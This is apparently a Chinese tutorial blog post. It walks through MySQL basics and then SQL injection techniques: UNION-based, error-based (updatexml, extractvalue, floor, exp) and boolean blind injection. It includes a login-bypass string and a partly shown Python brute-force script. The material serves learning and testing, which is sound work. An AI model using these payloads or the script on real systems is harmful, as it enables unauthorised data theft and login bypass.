0x01sql注入前置

讲这个知识之前我们得先问自己三个问题

什么是数据库?

简单来说,数据库就是“数据”的“仓库”。数据库是一个组织化的数据集合,用于存储、管理和检索信息。它为存储数据提供了一种格式化的方式,并允许用户和应用程序有效地查询、更新和管理这些数据。数据库中包含表、关系以及操作对象,数据存储在表中。

什么是sql?

SQL是结构化查询语言,是一种用于与关系数据库进行交互的标准编程语言。它用于定义、操作和控制数据,以及管理数据库。SQL 是一种高度通用的语言,几乎所有的数据库管理系统(RDBMS)都支持SQL,包括MySQL、PostgreSQL、Microsoft SQL Server 和 Oracle 等。

sql里有四大最常见的操作,即增删查改

  • 增。增加数据。其简单结构为: INSERT table_name(columns_name) VALUES(new_values)
  • 删。删除数据。其简单结构为: DELETE table_name WHERE condition
  • 查。查找数据。其简单结构为:SELECT columns_name FROM table_name WHERE condition
  • 改。有修改/更新数据。简单结构为:UPDATE table_name SET column_name=new_value WHERE condition

什么是sql注入?

SQL注入:是发生于应用程序和数据库层的安全漏洞,简而言之,是在输入的字符串之中注入sql指令,在设计不良的程序当中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的sql指令而运行,因此遭到破坏或是入侵。这种漏洞可能导致数据泄露、数据篡改、身份冒充和其他严重的安全问题

0x02正文

mysql注入

什么是mysql?

MySQL 是一种开源的关系数据库管理系统(RDBMS),广泛用于存储和管理结构化数据。

我们在讲解mysql注入之前,首先先要搭建一下mysql数据库

Ubuntu中搭建Mysql服务

1
2
3
4
5
6
7
8
9
sudo su 进入root用户
sudo apt update 更新所有软件包
sudo apt install mysql-server 安装mysql
sudo systemctl start mysql 启动mysql服务
sudo systemctl restart mysql 重启mysql服务
sudo systemctl stop mysql 关闭mysql服务
sudo systemctl status mysql 查看mysql服务状态
mysql --version 查看版本信息
mysql -u root -p 登录连接数据库

连接数据库后会出现mysql的命令窗口

image-20250114132910152

我们先看一下初始的数据库情况是什么样的

1
SHOW DATABASES; 列出 MySQL 数据库管理系统的数据库列表。

image-20250114133224791

接下来我们创建数据库

1.创建数据库

1
2
3
CREATE DATABASE HELLOWORLD; 创建HELLOWORLD数据库
DROP DATABASE [database_name];直接删除数据库
DROP DATABASE IF EXISTS [database_name];先检查数据库是否存在在进行删除操作

image-20250114133322081

这里看到确实是有一个HELLOWORLD数据库,那我们对这个数据库进行操作

1
USE [database_name]; 指定要进行操作的数据库

image-20250114133510634

选择数据库后,你的后续 SQL 查询和操作在指定的数据库 HELLOWORLD 上执行

然后我们创建数据表

2.创建数据表

创建 MySQL 数据表需要以下信息:

  • 表名
  • 表字段名
  • 定义每个表字段的数据类型

语法

1
2
3
4
5
CREATE TABLE [table_name] (
column1 datatype,
column2 datatype,
...
);

参数说明:

  • table_name 是你要创建的表的名称。
  • column1, column2, … 是表中的列名。
  • datatype 是每个列的数据类型。

不过数据类型还没学,就返回来看了一下数据类型

mysql数据类型

内容摘录菜鸟教程:https://www.runoob.com/mysql/mysql-data-types.html

MySQL 支持多种类型,大致可以分为三类:数值、日期/时间和字符串(字符)类型

  • 数值类型

包括严格数值数据类型(INTEGER、SMALLINT、DECIMAL 和 NUMERIC),以及近似数值数据类型(FLOAT、REAL 和 DOUBLE PRECISION)。

TINYINT 1 Bytes (-128,127) (0,255) 小整数值
SMALLINT 2 Bytes (-32 768,32 767) (0,65 535) 大整数值
MEDIUMINT 3 Bytes (-8 388 608,8 388 607) (0,16 777 215) 大整数值
INT或INTEGER 4 Bytes (-2 147 483 648,2 147 483 647) (0,4 294 967 295) 大整数值
BIGINT 8 Bytes (-9,223,372,036,854,775,808,9 223 372 036 854 775 807) (0,18 446 744 073 709 551 615) 极大整数值
FLOAT 4 Bytes (-3.402 823 466 E+38,-1.175 494 351 E-38),0,(1.175 494 351 E-38,3.402 823 466 351 E+38) 0,(1.175 494 351 E-38,3.402 823 466 E+38) 单精度 浮点数值
DOUBLE 8 Bytes (-1.797 693 134 862 315 7 E+308,-2.225 073 858 507 201 4 E-308),0,(2.225 073 858 507 201 4 E-308,1.797 693 134 862 315 7 E+308) 0,(2.225 073 858 507 201 4 E-308,1.797 693 134 862 315 7 E+308) 双精度 浮点数值
DECIMAL 对DECIMAL(M,D) ,如果M>D,为M+2否则为D+2 依赖于M和D的值 依赖于M和D的值 小数值
  • 日期和时间类型

表示时间值的日期和时间类型为DATETIME、DATE、TIMESTAMP、TIME和YEAR

DATE 3 1000-01-01/9999-12-31 YYYY-MM-DD 日期值
TIME 3 ‘-838:59:59’/‘838:59:59’ HH:MM:SS 时间值或持续时间
YEAR 1 1901/2155 YYYY 年份值
DATETIME 8 ‘1000-01-01 00:00:00’ 到 ‘9999-12-31 23:59:59’ YYYY-MM-DD hh:mm:ss 混合日期和时间值
TIMESTAMP 4 ‘1970-01-01 00:00:01’ UTC 到 ‘2038-01-19 03:14:07’ UTC结束时间是第 2147483647 秒,北京时间 2038-1-19 11:14:07,格林尼治时间 2038年1月19日 凌晨 03:14:07 YYYY-MM-DD hh:mm:ss 混合日期和时间值,时间戳
  • 字符串类型
类型 大小 用途
CHAR 0-255 bytes 定长字符串
VARCHAR 0-65535 bytes 变长字符串
TINYBLOB 0-255 bytes 不超过 255 个字符的二进制字符串
TINYTEXT 0-255 bytes 短文本字符串
BLOB 0-65 535 bytes 二进制形式的长文本数据
TEXT 0-65 535 bytes 长文本数据
MEDIUMBLOB 0-16 777 215 bytes 二进制形式的中等长度文本数据
MEDIUMTEXT 0-16 777 215 bytes 中等长度文本数据
LONGBLOB 0-4 294 967 295 bytes 二进制形式的极大文本数据
LONGTEXT 0-4 294 967 295 bytes 极大文本数据

以上就是我们的数据类型了,那我们接下来创建一个数据表

1
CREATE TABLE users(id INT AUTO_INCREMENT PRIMARY KEY,username VARCHAR(50) NOT NULL,password VARCHAR(100) NOT NULL);

参数解释

  • CREATE TABLE 是用于创建新表的 SQL 语句。
  • users 是要创建的表的名称。
  • id 是表中的一个列名,用于唯一标识每个用户。
  • INT 表示该列的数据类型是整数。
  • AUTO_INCREMENT 表示该列会自动递增。每当插入一条新记录时,id 列会自动生成一个唯一的整数值,通常从 1 开始。
  • PRIMARY KEY 指定 id 列作为主键,确保每个用户的 id 是唯一的,且不能为 NULL。这意味着在 users 表中,每个用户都必须有一个唯一的 id 值。
    • username 是表中的另一个列名,用于存储用户的用户名。
    • VARCHAR(50)` 表示该列的数据类型为可变长度字符串,最大长度为 50 个字符。
    • NOT NULL 表示该列不能为空,必须提供一个值。换句话说,用户必须输入用户名。
    • password 是表中的第三个列名,用于存储用户的密码。
    • VARCHAR(100) 表示该列的数据类型也是可变长度字符串,最大长度为 100 个字符。
    • NOT NULL 同样表示该列不能为空,用户必须提供密码。

然后我们可以看到是成功创建了一个users数据表的

1
2
3
SHOW TABLES;显示指定数据库的所有表(使用前需要先指定数据库)
DROP TABLE [table_name]; 直接删除表
DROP TABLE IF EXISTS [table_name]; -- 会检查是否存在,如果存在则删除

image-20250114135354948

创建数据表后,接下来我们就是向数据表中插入我们的数据了,我们先查看一下我们的字段

3.插入数据

1
show columns from 表名 显示数据表的属性,属性类型,主键信息 ,是否为 NULL,默认值等其他信息。

image-20250114135829638

插入数据的话通常用INSERT INTO SQL语法:

1
2
INSERT INTO table_name (column1, column2, column3, ...)
VALUES (value1, value2, value3, ...);

参数说明:

  • table_name 是你要插入数据的表的名称。
  • column1, column2, column3, … 是表中的列名。
  • value1, value2, value3, … 是要插入的具体数值。

如果数据是字符型必须加上单引号或者双引号

那我们插入一个数据看看

1
INSERT INTO users(id,username,password)VALUES(1,'wanth3f1ag',1008611);

解释来说就是插入了一行数据,id为1,username为wanth3f1ag,password为1008611

如果你要插入所有列的数据,可以省略列名

如果你要插入多行数据,可以在 VALUES 子句中指定多组数值

注意: 使用箭头标记 -> 不是 SQL 语句的一部分,它仅仅表示一个新行,如果一条 SQL 语句太长,我们可以通过回车键来创建一个新行来编写 SQL 语句,SQL 语句的命令结束符为分号 **;**。

那既然插入了数据那我们就试着去查询一下数据

4.查询数据

mysql用SELECT语句来查询数据

在mysql中,windows下要区分单引号’’和反引号``,(linux下不区分):

单引号主要用于字符串的引用,反引号主要用于数据库,表,索引,列,别名

语法

1
2
3
4
5
SELECT column1, column2, ...
FROM table_name
[WHERE condition]
[ORDER BY column_name [ASC | DESC]]
[LIMIT number];

参数说明:

  • column1, column2, … 是你想要选择的列的名称,如果使用 * 表示选择所有列。
  • table_name 是你要从中查询数据的表的名称。
  • WHERE condition 是一个可选的子句,用于指定过滤条件,只返回符合条件的行。
  • ORDER BY column_name [ASC | DESC] 是一个可选的子句,用于指定结果集的排序顺序,默认是升序(ASC)。
  • LIMIT number 是一个可选的子句,用于限制返回的行数。

例如我们查询所有列

1
SELECT * FROM users;

image-20250114141002391

也可以查询指定列

1
SELECT username,password FROM users;

image-20250114141222153

我们也可以添加where语句进行筛选符合条件的行

1
SELECT * FROM users WHERE id = 1 ;// 查询id为1对应的行

image-20250114141627826

我们还可以用LIMIT子语句限制返回的行数

1
SELECT * FROM users LIMIT 1;

image-20250114142146064

可以用ORDER BY 子语句去对指定列进行排列

1
SELECT * FROM users ORDER BY id;

默认是升序,DESC是降序

1
SELECT * FROM users ORDER BY id DESC;

但是SELECT语句是灵活的,我们可以根据实际需求去进行调整,这也是我们sql注入学习的前置,要对SELECT语句进行一定的了解才更有利于我们去进行sql注入的学习

然后我们现在来学习一下WHERE子语句的一些相关利用

WHERE子语句

WHERE condition 是用于指定过滤条件的子句。这些条件不仅限于我们的操作符(=,<,>,!=,<=,>=),还可以用AND,OR组合条件,模糊匹配(LIKE)等条件去匹配更精准的结果。

如果给定的条件在表中没有任何匹配的记录,那么查询不会返回任何数据。

前面讲过数据库的基本操作是增删查改,那我们前面讲了如何增和删,那我们现在来讲一下怎么改,这时候就可以用到UPDATE命令了

UPDATE更新

如果我们需要修改或更新 MySQL 中的数据,我们可以使用 UPDATE 命令来操作。

语句

1
2
3
UPDATE table_name
SET column1 = value1, column2 = value2, ...
WHERE condition;

参数说明:

  • table_name 是你要更新数据的表的名称。
  • column1, column2, … 是你要更新的列的名称。
  • value1, value2, … 是新的值,用于替换旧的值。
  • WHERE condition 是一个可选的子句,用于指定更新的行。如果省略 WHERE 子句,将更新表中的所有行。

当然,我们可以同时更新很多个字段,也可以在一个表中同时更新数据,当我们需要更新数据表中指定行的数据时 WHERE 子句是非常有用的。

当然我们用表达式去更新数据的value也是可以的

我们试一下

1.更新单个列

1
UPDATE users SET username='wanth3f1ag' WHERE id=2;

image-20250114150949230

2.更新多个列

1
UPDATE users SET username='wanth3f1ag',password=123456 WHERE id=2;

image-20250114151039437

3.使用表达式

1
UPDATE users SET username='wanth3f1ag',password=123*2 WHERE id=2;

image-20250114151134430

4.更新所有行

1
UPDATE users SET password=123456;

image-20250114151247436

5.更新嵌套查询

1
UPDATE users SET passwrod =(子查询语句) where子语句;

讲完了改的部分,我们来讲一下mysql中的删

DELETE删除

可以使用 DELETE FROM 命令来删除 MySQL 数据表中的记录

语法

1
2
DELETE FROM table_name
WHERE condition;

参数说明:

  • table_name 是你要删除数据的表的名称。
  • WHERE condition 是一个可选的子句,用于指定删除的行。如果省略 WHERE 子句,将删除表中的所有行。

和update一样,可以用WHERE子语句去设置条件精准指定目标

LIKE语句

用于进行模糊匹配的关键字。它通常与通配符(%)一起使用,用于搜索符合某种模式的字符串。

%百分号表示任意字符,和我们unix中的*是一样的

语法

1
2
3
SELECT column1, column2, ...
FROM table_name
WHERE column_name LIKE pattern;

参数说明:

  • column1, column2, … 是你要选择的列的名称,如果使用 * 表示选择所有列。
  • table_name 是你要从中查询数据的表的名称。
  • column_name 是你要应用 LIKE 子句的列的名称。
  • pattern 是用于匹配的模式,可以包含通配符。

LIKE子语句可以在WHERE子句中用,可以用来代替where子语句中的等号,**%** 通配符表示零个或多个字符。例如,**’a%’** 匹配以字母 ‘a’ 开头的任何字符串。

我们试一下

假设我们有以下表

image-20250117004853181

1.% 通配符表示零个或多个字符。例如,**’w%’** 匹配以字母 ‘w’ 开头的任何字符串。

image-20250117005022731

2._ 通配符表示一个字符。例如,**’_a%’** 匹配第二个字母为 ‘a’ 的任何字符串。

image-20250117005206526

3.组合使用 % 和 _,例如,’w%a_‘表示第一个字符是w,然后是0或者无数个字符,接着是字符a,最后是匹配一个任意字符

image-20250117005436111

以上就是我们用通配符进行模糊匹配的方法

UNION操作

UNION 操作符用于连接两个以上的 SELECT 语句的结果组合到一个结果集合,并去除重复的行。

要求:必须由两个或多个 SELECT 语句组成,每个 SELECT 语句的列数和对应位置的数据类型必须相同。

语法

1
2
3
4
5
6
7
8
SELECT column1, column2, ...
FROM table1
WHERE condition1
UNION
SELECT column1, column2, ...
FROM table2
WHERE condition2
[ORDER BY column1, column2, ...];

参数说明:

  • column1, column2, … 是你要选择的列的名称,如果使用 * 表示选择所有列。
  • table1, table2, … 是你要从中查询数据的表的名称。
  • condition1, condition2, … 是每个 SELECT 语句的过滤条件,是可选的。
  • ORDER BY 子句是一个可选的子句,用于指定合并后的结果集的排序顺序。

我们来试一下

假如我们有以下表

image-20250117003614158

然后我们用union去连接两个select查询语句,那么会得到:

image-20250117003601115

可以看到这里已经将username和password的查询结果全部集合然后进行了一个排列

但是我们要注意:UNION 操作符在合并结果集时会去除重复行,而 UNION ALL 不会去除重复行

image-20250117004201279

我这里创建了一个密码和其他某个一样的密码,然后分别进行了union和union all联合查询,可以发现两个的结果和上面的知识点是一样的。

ORDER BY 语句

ORDER BY(排序) 语句可以按照一个或多个列的值进行升序(ASC)或降序(DESC)排序。

语法:

1
2
3
SELECT column1, column2, ...
FROM table_name
ORDER BY column1 [ASC | DESC], column2 [ASC | DESC], ...;

参数说明:

  • column1, column2, … 是你要选择的列的名称,如果使用 * 表示选择所有列。
  • table_name 是你要从中查询数据的表的名称。
  • ORDER BY column1 [ASC | DESC], column2 [ASC | DESC], ... 是用于指定排序顺序的子句。ASC 表示升序(默认),DESC 表示降序。

使用方法

1.单列排序

image-20250117005809461

2.多列排序

JOIN连接

JOIN 按照功能大致分为如下三类:

  • INNER JOIN(内连接,或等值连接):获取两个表中字段匹配关系的记录。
  • LEFT JOIN(左连接):获取左表所有记录,即使右表没有对应匹配的记录。
  • RIGHT JOIN(右连接): 与 LEFT JOIN 相反,用于获取右表所有记录,即使左表没有对应匹配的记录。

MYSQL注入姿势

INFORMATION_SCHEMA

我们可以了解到,在mysql>5.0以上版本里都存在一个自带的信息数据库INFORMATION_SCHEMA,这个数据库存储着MYSQL服务器里的其他数据库的全部信息如数据库名,数据库的表,表中的列和数据,所以我们可以通过这个数据库去获取其他数据库的信息,这也是我们后面要讲的绝大多数注入姿势里面都会用到的

  • SCHEMATA:里面存储着mysql所有数据库的基本信息
  • TABLES:里面存储着mysql中的表信息,包括表的创建时间更新时间等等
  • COLUMNS:里面存储着mysql中表的列信息,包括这个表的所有列以及每个列的信息,包括列的数据类型,编码类型等

但是这个只有在5.0以上的数据库中才能用到这个信息数据库,而如果低于5.0的话就不能用了,这个我学了再写上去

我们正常的sql查询语句是

字符型

1
select * from <表名> where id =’$_GET[id]‘;

数字型

1
select * from <表名> where id =$_GET[id];

1.判断是否存在SQL注入

单引号判断法,即在参数后面加上单引号(无论字符型还是整型都会因为单引号个数不匹配而报错)

2.判断注入方式

数字型判断:

用最经典的and 1=1和and 1=2进行判断

假设某个注入的注入类型是数字型,那么

1
2
3
?id=1 and 1=1页面运行正常

?id=1 and 1=2页面运行错误

为什么呢?

在a and b运算中,当使用 AND 运算符时,只有当所有条件都为真时,整个条件才被视为真。

解释:当输入 and 1=1时,后台执行 Sql 语句:select * from <表名> where id = x and 1=1,语法正确且逻辑判断为正确,所以返回正常。

当输入 and 1=2时,后台执行 Sql 语句:select * from <表名> where id = x and 1=2,语法正确但逻辑判断为假,所以返回错误。

假设这里是字符型判断的话,我们输入的语句就会有以下的执行情况:

当输入1 and 1=1,1 and 1=2时,后台执行 Sql 语句:

1
2
3
select * from <表名> where id = ‘x and 1=1’

select * from <表名> where id = ‘x and 1=2’

查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的。

字符型判断:

也是用最经典的 and ‘1’=’1 和 and ‘1’=’2来判断

假设某个注入的注入类型是字符型

1
2
3
?id=1’ and ‘1’ = '1,页面运行正常

?id=1’ and ‘1’ = '2,页面运行错误

解释:当输入 and ‘1’=’1时,后台执行 Sql 语句:select * from <表名> where id = ‘x’ and ‘1’=’1’语法正确,逻辑判断正确,所以返回正确。

当输入 and ‘1’=’2时,后台执行 Sql 语句:select * from <表名> where id = ‘x’ and ‘1’=’2’语法正确,但逻辑判断错误,所以返回异常。

sql注入分类

  • 有回显
  1. 回显有正常信息:union联合注入
  2. 回显有报错信息:报错注入
  • 无回显
  1. 页面无回显时,利用返回页面判断来判断查询语句正确与否:布尔盲注
  2. 页面无回显时,利用时间延迟语句是否已经执行来判断查询语句正确与否:时间盲注
  • 允许同时执行多条语句时,利用逗号同时执行多条语句的注入:堆叠注入

1.UNION联合注入

联合注入即union注入,其原理就是,在我们原先查询语句的基础上通过union去拼接上我们的select语句,然后我们拼接的查询结果会和前面的select语句的查询结果进行拼接并返回到页面(关于UNION的操作可以返回去看搭建数据库时的讲解)

联合注入的利用条件,UNION 拼接的 SELECT 语句必须拥有相同数量的列,列也必须拥有相似的数据类型,每条 SELECT 语句中的列的顺序必须相同,也就是说只能:

1
select 1,2,3 from table_name1 union select 4,5,6 from table_name2;

这也是为什么我们在联合注入之前往往需要先利用 order/group by n 判断字段的数量。

注入步骤(假设有3列)

  • 判断字段数
1
1' order by 4--+

因为前面说过,order by是对字段进行排序,所以如果我们的4大于我们的字段数,就会出现报错,所以字段数是3

  • 判断回显位
1
-1' union select 1,2,3--+
  • 查询数据库名
1
-1' union select 1,2,(select group_concat(schema.name)from information_schema.schemata)--+

GROUP_CONCAT()用于将分组内的值连接成一个以逗号(或其他分隔符)分隔的字符串,所以这也是为什么我们返回的多个数据库名,表名,列名都是以逗号去分开的原因

  • 查询表名
1
-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema = database())--+
  • 查询表中列名
1
-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name = '表名')--+
  • 查询列中数据
1
-1' union select 1,2,列名 from 数据库名.表名--+

MySQL >= 5.0的情况下就是我们常规的union联合注入了,MySQL < 5.0没有information_schema,联合注入打不通

所以简单来说步骤就是:

1
判断字段数->判断回显位置->爆数据库->爆表名->爆字段名(列名)->爆数据

到这的话我们顺便提一下这个联合注入的一个小技巧,也就是插入临时表

插入临时表

什么意思呢?在使用联合注入时,如果我们查询的数据不存在,那么就会生成一个内容为null的虚拟临时数据,比如我们的payload是

1
union select 'wantheflag','123123'

image-20250121134049242

可以看到这里生成了一个临时的username和password,所以我们在联合注入下可以利用这一技巧去设置一个username和password然后可以利用这个临时数据去进行登录,例如

1
2
3
4
查询语句
select username,password from users where username='$_GET[username]' and password='$_GET[pass]'
payload
username=users' union select 'admin','123123'--+&password=123123

特:万能密码

就是用永真语句进行登录,最常用的就是

1
' or '1'='1'--+

1=1恒为真。由于OR运算符的两侧只要有一侧为真,整个表达式就为真,因此整个查询条件就恒为真。

2.报错注入

通过特殊函数的错误使用使其参数被页面输出,但是前提是服务器开启报错信息返回,也就是发生错误时会返回报错信息

报错注入(Error-based)的利用条件是:

  1. SQL 操作/函数 报错
  2. 构造会出现执行错误的 SQL 查询语句,将需要获取的信息(如版本、数据库名)放到会在错误信息输出的位置
  3. 网站回显数据库执行的报错信息,得到数据库信息

常见的利用函数有updatexml()、extractvalue()、floor()+rand()等,参考SQL注入总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
1.floor()和rand()
union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a /*利用错误信息得到当前数据库名*/
2.extractvalue()
id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
3.updatexml()
id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))
4.geometrycollection()
id=1 and geometrycollection((select * from(select * from(select user())a)b))
5.multipoint()
id=1 and multipoint((select * from(select * from(select user())a)b))
6.polygon()
id=1 and polygon((select * from(select * from(select user())a)b))
7.multipolygon()
id=1 and multipolygon((select * from(select * from(select user())a)b))
8.linestring()
id=1 and linestring((select * from(select * from(select user())a)b)
9.multilinestring()
id=1 and multilinestring((select * from(select * from(select user())a)b))
10.exp()
id=1 and exp(~(select * from(select user())a))

XPATH 报错

updatexml和extractvalue两种

利用条件:Mysql >= 5.1

updatexml()报错注入

Updatexml()函数:

  • 主要用于更新XML类型的数据。
  • 适用于需要修改XML数据中的节点值或插入新节点的场景。
  • 在数据库维护和数据更新方面有着广泛的应用。

语法

1
updatexml('XML_document','Xpath_string','New_value')

XML_document:String格式,为XML文档对象的名称

XPath_string :Xpath格式的字符串

new_value:String格式,替换查找到的符合条件的数据

注入过程

1
2
3
4
5
6
7
查询数据库:id=1' and (select updatexml(1,concat(0x7e,(database()),0x7e),1))#

查询表名:id=1' and (select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1))#

查询列/字段名:id=1' and (select updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='表名'),0x7e),1))#
当然也可以使用limit,利用limit进行分页,作用是展示第几条数据
查询数据:id=1' and (select updatexml(1,concat(0x7e,(select group_concat(列名) from 数据库名.表名 limit 0,1),0x7e),1))#

Limit x,1中x为任意值

我们拿第一个爆数据库的语句解释一下payload

1
1' and (select updatexml(1,concat(0x7e,(select database()),0x7e),1))#

concat(0x7e, (select database()), 0x7e)

  • concat() 是一个字符串拼接函数,它会将传入的参数连接成一个完整的字符串。
  • 0x7e 是十六进制的 ~,这里的作用是将返回的数据用 ~ 包裹,便于分辨。
  • (select database()) 是一个子查询,用于获取当前数据库的名称。
  • 整体的作用是生成一个看起来像 ~database_name~ 的字符串。

最后的查询结果

  • updatexml() 函数的第一个参数 1 和第三个参数 1 并没有实际意义,因为它们并非合法的 XML 文档或路径。
  • 第二个参数 concat(0x7e, (select database()), 0x7e) 会生成一个类似 ~database_name~ 的字符串

但是这个语句会报错,因为 updatexml() 的第一个参数不是有效的 XML 文档,所以 MySQL 会抛出一个错误,这个错误信息会包含 concat 函数生成的字符串,即当前数据库的名称。

extractvalue()报错注入

其实和updatexml函数没什么区别,但是

Extractvalue()函数:

  • 主要用于从XML数据中查询并返回包含指定XPath字符串的字符串。
  • 适用于从XML数据中提取特定信息的场景。
  • 在数据查询和数据解析方面发挥着重要作用。

语法:

1
extractvalue(xml_document,Xpath_string);

第一个参数:xml_document是string格式,为xml文档对象的名称

第二个参数:Xpath_string是xpath格式的字符串

作用:从目标xml中返回包含所查询值的字符串

payload

1
and extractvalue(1,(concat(0x7e,(payload))))

注入过程

1
2
3
4
5
6
7
爆数据库名:id=1' and (select extractvalue(1,concat(0x7e,(database()))))#

爆表名:id=1'and (select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))#

爆字段名:id=1' and (select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='表名'))))#

爆数据:id=1' and(select extractvalue(1,concat(0x7e,(select group_concat(字段名) from 数据库名.表名)))#

extractvalue()能查询字符串的最大长度为32,就是说如果结果可能会超过32,就需要用substring()等函数截取

group by报错

floor()报错注入

floor()函数

  • 功能:向下取整,返回小于或等于指定数值的最大整数。
  • 特点:无论是正数还是负数,FLOOR() 函数都会向“数轴下方”取整。
  • 适用场景:用于数据处理,比如去掉小数部分,或对计算结果进行取整处理。

rand() 是一个用于生成 随机数 的函数

  • 功能:生成一个 0 到 1 之间的随机浮点数(范围:[0, 1)),结果包含 0,但不包含 1。

floor(rand()*2):是 MySQL 中生成随机 01 的常用表达式。

payload

1
1' union select count(*),2,concat('~',(payload),'~',floor(rand()*2))as a from information_schema.tables group by a#

注入过程

1
2
3
4
5
6
7
8
爆库名:
id=1'union select count(*),2,concat('~',(select database()),'~',floor(rand()*2))as a from information_schema.tables group by a#
爆表名:
id=1' union select count(*),2,concat('~',(select group_concat(table_name)from information_schema.tables where table_schema=database()),'~',floor(rand()*2))as a from information_schema.tables group by a#
爆列名:
id=1' union select count(*),2,concat('~',(select group_concat(column_name)from information_schema.columns where table_name='表名'),'~',floor(rand()*2))as a from information_schema.tables group by a#
爆字段:
id=1' union select count(*),2,concat('~',(select group_concat(列名)from 数据库名.表名),'~',floor(rand()*2))as a from information_schema.tables group by a#

数溢出报错

exp()报错注入

EXP() 是一个数学函数,它用来计算 自然指数函数(e^x) 的值

  • EXP(x) = e^x

image-20250121163822411

那这个注入的原理是什么呢?

SQL语句中,函数成功执行后返回0,将0按位取反后会得到18446744073709551615(最大的无符号值),如果对这个值进行数值表达式运算则会导致溢出错误。

payload

1
select exp(~(payload))

注入过程

1
2
3
4
5
6
7
8
爆数据库
select exp(~(select * from (database())x))#
爆表名:
select exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)x))#
爆列名:
select exp(~(select * from(select group_concat(column_name) from information_schema.columns where table_name='users' limit 0,1)x))#
爆字段:
select exp(~(select * from(select 列名 from 数据库名.表名)))#

但是数溢出报错只有在mysql>5.5以上的版本才会产生溢出错误信息,以下的版本对于溢出不会发送任何信息

3.布尔盲注

进行布尔盲注的条件是页面会有回显作为语句执行是否成功的标志,一般我们可以先用永真条件or 1=1与永假条件and 1=2的返回内容是否存在差异进行判断是否可以进行布尔盲注

什么情况下考虑使用布尔盲注?

  • 该输入框存在注入点。

  • 该页面或请求不会回显注入语句执行结果,故无法使用UNION注入。

  • 对数据库报错进行了处理,无论用户怎么输入都不会显示报错信息,故无法使用报错注入。

基本函数

  • ascii()函数:ASCII() 函数用于返回字符串中第一个字符的 ASCII 值。如果字符串为空,返回值为 0。

替换函数:

ord()函数:ORD() 函数返回字符串第一个字符的ASCII 值,如果该字符是一个多字节(即一个或多个字节的序列),则MySQL函数将返回最左边字符的代码。

  • substr()函数:SUBSTR()函数(在某些数据库中也称为 SUBSTRING())用于从一个字符串中提取子字符串。

替换函数:

​ left(str,index)从左边第index开始截取

​ right(str,index)从右边第index开始截取

​ substring(str,index)从左边index开始截取

​ mid(str,index,len)截取str从index开始,截取len的长度

​ lpad(str,len,padstr)

​ rpad(str,len,padstr)在str的左(右)两边填充给定的padstr到指定的长度len,返回填充的结果

手工注入:

1. 判断是否存在注入以及注入类型

2. 构造sql语句,利用length()函数得到数据库长度:1 and(length(database()))>x根据回显是否正常来判断数据库长度

3. 猜测数据库名字,利用ascii()函数和substr()函数依次得到数据库的名字,例如:1 and (ascii(substr(database(),y,1)))>x,根据每个字母的ascii值找出数据库的第y个字母

**4. 判断表的数量,例如:**1 and (select count(table_name) from information_schema.tables where table_schema=database())>x来判断表的数量

**5. 猜测表名:**1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit x,1),y,1))>x 来猜测第x张表的第y个字母

**6. 猜测字段数量:**1 and (select count(column_name) from information_schema.columns where table_name=’表名’)=1

**7. 猜测数据内容:**1 and ascii(substr((select * from 数据库.表名 where id=1),1,1))>x

手工盲注比较繁琐,一般都会用脚本去注入或者用工具sqlmap

布尔盲注的脚本我贴一个最基础的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
import requests
#GET请求的布尔盲注
#爆破数据库的长度
def brute_force_database_length(url, headers):
databaselen = 0
for l in range(1,50):
databaselen_payload = f"?id=1' and length(database())={l}--+"
response = requests.get(url + databaselen_payload, headers=headers)
if 'admin'in response.text:#判断是否存在注入
databaselen = l
break
print('数据库名字长度为: '+ str(databaselen))
return databaselen

#爆破数据库的名字
def brute_force_database_name(url, headers, databaselen):
databasename = ''
for l in range(1,databaselen+1):#用来爆破数据库的字符
for i in range(32,128):
databasechar_payload = f"?id=1' and ascii(substr(database(),{l},1))='{i}'--+"
response = requests.get(url + databasechar_payload, headers=headers)
if 'admin'in response.text:#判断是否存在注入
databasename += chr(i)
print(databasename)
break
print('数据库名字为: '+ str(databasename))
return databasename
#爆破表的个数
def brute_force_table_count(url, headers, databasename):
tablecount = 0
for l in range(1,50):#用来爆破表的个数
tablecount_payload = f"?id=1' and (select count(table_name) from information_schema.tables where table_schema='{databasename}') ={l}--+"
response = requests.get(url + tablecount_payload, headers=headers)
if 'admin'in response.text:#判断是否存在注入
tablecount = l
break
print(f'表的个数为: {tablecount}')
return tablecount
#爆破表的名字
def brute_force_table_name(url, headers, tablecount,databasename):
tables=[]
for t in range(0,tablecount):
table_name = ''
tablelen = 0
for l in range(1, 50):
tablelen_payload = f"?id=1' and length((select table_name from information_schema.tables where table_schema = '{databasename}' limit {t+0}, 1))={l}--+"
response = requests.get(url + tablelen_payload, headers=headers)
if 'admin'in response.text:
tablelen = l
break
print(f'表{t+1}的长度为: {tablelen}')
for m in range(1, tablelen+1):
for i in range(32, 128):
table_name_payload = f"?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = '{databasename}' limit {t+0}, 1),{m},1))='{i}'--+"
response = requests.get(url + table_name_payload, headers=headers)
if 'admin'in response.text:
table_name += chr(i)
print(table_name)
break
print(f'表{t+1}的名字为: {table_name}')
tables.append(table_name)
return tables
'''
#爆破字段的个数
